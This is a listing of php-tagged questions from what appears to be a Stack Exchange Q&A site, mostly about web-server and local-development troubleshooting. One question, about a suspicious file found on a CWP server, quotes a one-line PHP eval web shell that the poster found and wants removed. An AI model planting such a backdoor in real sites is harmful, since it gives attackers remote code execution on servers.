Questions tagged [php]
PHP is a widely-used general-purpose scripting language that is especially suited for Web development. Questions about programming in PHP are off-topic and should be asked on Stack Overflow.
2,005 questions
12
votes
1
answer
1k
views
HTTP 400 "Bad Request" - how may I diagnose this from server side?
I am using a cellular modem (SIMCOM A7670G) to perform HTTP 1.1 GET and POST requests to my nginx web server.
GET requests are working fine, but I'm having problems with the POSTs, which are being met ...
1
vote
2
answers
137
views
Why am I getting an error when accessing export tab in phpMyAdmin with Laragon?
I recently switched from Xampp (super buggy for some reason) to Laragon, and I'm trying to get my old MySQL database set up in phpMyAdmin using Laragon. I was trying to export one of my tables using ...
0
votes
0
answers
35
views
Apache web server returns error 500 when trying to load a page using a web browser from another PC
I am trying to configure a LAMP server on my raspberry pi 4 8gb that is currently running Raspbian.
I installed PHP, mysql, PHPmyadmin and I recently set up VSFTPD to allow me to access the files ...
1
vote
1
answer
99
views
Should server files containing private data be outside `public_html` directory in CloudWays?
Working on a project I am connecting API's etc to an app. I want to upload the API tokens etc outside the public_html file for maximum security, or so I've been told.
However, whenever I try to upload ...
1
vote
0
answers
67
views
WebStorm not highlighting matching braces when using a ternary inside an array in PHP
I'm running into a strange issue with Webstorm, the Jetbrains JavaScript IDE, where it fails to highlight matching braces when I add a line of valid PHP that does not change the structure of the block....
1
vote
1
answer
169
views
Infinite redirect when navigating to nonexistent subfolder of localhost on Xampp/Apache server
I'm encountering a bizarre issue with a site I'm building on my XAMPP-hosted webserver. Under certain circumstances (explained below), I encounter an infinite redirect and cannot figure out what on ...
0
votes
0
answers
126
views
How to safely upgrade XAMPP on Windows and enable HTTPS for local Moodle development?
I’m setting up Moodle LMS locally on a Windows machine using XAMPP. Moodle requires HTTPS to proceed with installation, but my current XAMPP version doesn’t support HTTPS properly and uses MariaDB 10....
34
votes
2
answers
5k
views
Why can’t I delete a suspicious PHP file even with root?
On my server running CWP, I recently found a file located in /usr/local/cwpsrv/htdocs/admin/admin called error.php that just has the contents <?php @eval($_POST['shell']);?> (very concerning).
...
1
vote
2
answers
339
views
Why can't I run PHP via Apache on macOS? (Installed using Homebrew)
I have reinstalled whole brew, installed SSL, PHP, httpd but PHP ins't interpretted.
php -v returns:
PHP 8.4.7 (cli) (built: May 6 2025 12:31:58) (NTS)
Copyright (c) The PHP Group
Built by Homebrew
...
0
votes
1
answer
116
views
How to dynamically set the PHP version used by my terminal by extracting it from composer.json using Windows CMD file?
I run a file called doskeys.cmd every time Windows Terminal opens to set amongst other things, command aliases.
Should composer.json exist, I want to extract the PHP version from it so I can ...
1
vote
1
answer
254
views
How to change Docker container's PHP_MEMORY_LIMIT env variable in dockerized Nextcloud on ASUSTOR NAS
I have ASUSTOR NAS AS6302T with Nextcloud 30 installed from the App Central. I'm trying to set up cron to run background jobs. However when I try to run the cron.php script manually in the Docker ...
2
votes
0
answers
662
views
Nextcloud large files upload issue
I have a bare metal Nextcloud server hosted on a Debian 12 machine with a MariaDB database. When I try uploading larger files above 100M, the "estimated upload time" in the browser shows &...
1
vote
1
answer
343
views
Why is php artisan so slow with WAMP/Windows11?
I'm using wamp on windows11 and noticed that not just the pageloads, but the CLI commands are way too slow. It seems, that something is adding a ~30s (like a timeout, not constant) to everything, but ...
0
votes
1
answer
73
views
I am setting up two services using PHP-FPM and NGINX, and whenever one accesses the other, the NGINX page always appears
I created a container with PHP-FPM to act as the backend and admin for another PHP container. The second container will serve as the "frontend," fetching information from the first container....
0
votes
1
answer
112
views
Writing a socket server for an API that uses a persistent connection
I'm asked to create an app to manage a device that's usually behind a NAT or firewall, so unreachable from the outside.
Fortunately, the device's creators thought of that, so they created an API that ...